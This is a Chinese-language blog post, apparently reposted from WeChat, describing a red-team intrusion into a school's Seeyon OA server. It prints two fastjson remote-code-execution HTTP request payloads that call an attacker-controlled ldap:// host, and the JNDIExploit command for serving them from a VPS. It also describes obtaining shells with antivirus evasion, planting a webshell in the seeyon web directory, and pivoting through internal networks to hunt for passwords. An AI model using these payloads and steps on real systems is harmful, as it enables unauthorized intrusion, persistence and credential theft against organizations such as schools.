攻防演练实战之梅开二度-致远OA-rce
2023-2-27 11:33:56 Author: EchoSec(查看原文) 阅读量:25 收藏

前言

好久没有写文章了。

1.最近入了很多众测。安心挖洞。

2.没有比赛就没有什么好文章输出。

这不刚结束就写文章给表哥们了。

环境介绍

其中目标是一个学校,不止一次的被打过了。

这次肯定是修复了。

上次手法

对学校进行攻防的手法,离不开信息收集。

google语法:

site:xxx.edu.cn xxx系统/xxx平台

举例:

运气好,还是可以登录。这种一般都是账号多用,各种平台/云盘之类的。进了后台就简单多了。

攻防开始

利用上次的手段是行不通了,只能慢慢的找点。这次利用外网致远oa系统。

第一次尝试

很顺利的发现了fastjson-rce的漏洞。

执行命令这里需要用到JNDIExploit。在vps启动JNDIExploit

java -jar JNDIExploit-1.2-SNAPSHOT.jar -p port -i ip

借助工具可以进行命令执行。

第一次很成功的执行了。利用ps成功上线。

这里ps把脚本和命令都进行简单的免杀和分块即可。可以看我之前的文章。

梅开二度

但是没过多久,就掉线了。

因为第一天就拿到了6个shell。很忙。

维权做的不好。都是上线留着之后再打。

继续之前的操作,发现无法成功执行命令。

梅开二度-继续研究


这里还是主动尝试了手动,使用代理抓去oa中的poc,和网上的poc是一致的。

路径:/seeyon/sursenServlet

POST /seeyon/sursenServlet HTTP/1.1
sursenData=%7B%22name%22%3A%7B%22%5Cu0040%5Cu0074%5Cu0079%5Cu0070%5Cu0065%22%3A%22%5Cu006a%5Cu0061%5Cu0076%5Cu0061%5Cu002e%5Cu006c%5Cu0061%5Cu006e%5Cu0067%5Cu002e%5Cu0043%5Cu006c%5Cu0061%5Cu0073%5Cu0073%22%2C%22%5Cu0076%5Cu0061%5Cu006c%22%3A%22%5Cu0063%5Cu006f%5Cu006d%5Cu002e%5Cu0073%5Cu0075%5Cu006e%5Cu002e%5Cu0072%5Cu006f%5Cu0077%5Cu0073%5Cu0065%5Cu0074%5Cu002e%5Cu004a%5Cu0064%5Cu0062%5Cu0063%5Cu0052%5Cu006f%5Cu0077%5Cu0053%5Cu0065%5Cu0074%5Cu0049%5Cu006d%5Cu0070%5Cu006c%22%7D%2C%22x%22%3A%7B%22%5Cu0040%5Cu0074%5Cu0079%5Cu0070%5Cu0065%22%3A%22%5Cu0063%5Cu006f%5Cu006d%5Cu002e%5Cu0073%5Cu0075%5Cu006e%5Cu002e%5Cu0072%5Cu006f%5Cu0077%5Cu0073%5Cu0065%5Cu0074%5Cu002e%5Cu004a%5Cu0064%5Cu0062%5Cu0063%5Cu0052%5Cu006f%5Cu0077%5Cu0053%5Cu0065%5Cu0074%5Cu0049%5Cu006d%5Cu0070%5Cu006c%22%2C%22%5Cu0064%5Cu0061%5Cu0074%5Cu0061%5Cu0053%5Cu006f%5Cu0075%5Cu0072%5Cu0063%5Cu0065%5Cu004e%5Cu0061%5Cu006d%5Cu0065":"ldap://xxxx","autoCommit":true}}

测试发现,dnslog都无法通信。经过不断的尝试,推测这条路被堵上了。就换另一个方式。

梅开二度-getshell


这里继续尝试的fastjson的第二种rce方式。

以下poc均来自网络

路径:

/seeyon/main.do?method=changeLocale

poc:

POST /seeyon/main.do?method=changeLocale HTTP/1.1

Host: 127.0.0.1:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

cmd: net user

Content-Length: 713

_json_params={"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://xx.xx.xx.xx","autoCommit":true}}

发现dnslog也是无法响应的,不断的摸索。发现不同版本的poc方式不同。

下图来自网络。

利用上述提供的poc

在这里进行了遍历进行dnslog回显。发现成功回来。

这里要多个服务器.多次尝试会触发防火墙。导致服务器被拉黑。

然后使用JNDIExploit进行命令执行就可以了。成功上线

上次吃了教训,这次直接去放了一个webshell进去。

致远oa-webshell路径:

webapps\seeyon\

内网


内网没有什么亮点。这里使用了正向re代理进去。

扫描-登录服务器-翻文件-找密码。

唯一需要注意的是二层多层代理的操作。不同业务内网。需要多层代理。

对了还有fscan的免杀.这次攻防原来的fscan一直无法运行。

免责声明

本公众号文章以技术分享学习为目的。

由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。

一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

【推荐关注】


觉得内容不错,就点下在看
如侵权请私聊公众号删文

文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MTU3NTY2NA==&mid=2247487204&idx=2&sn=94b9895ec2eff7d05677901c46ed0e2d&chksm=fcdf52fbcba8dbedd3cc354d7af1e1f2f95a15c6a2f758ffcd4c833e4122958fa8ff611a0087#rd
如有侵权请联系:admin#unsafe.sh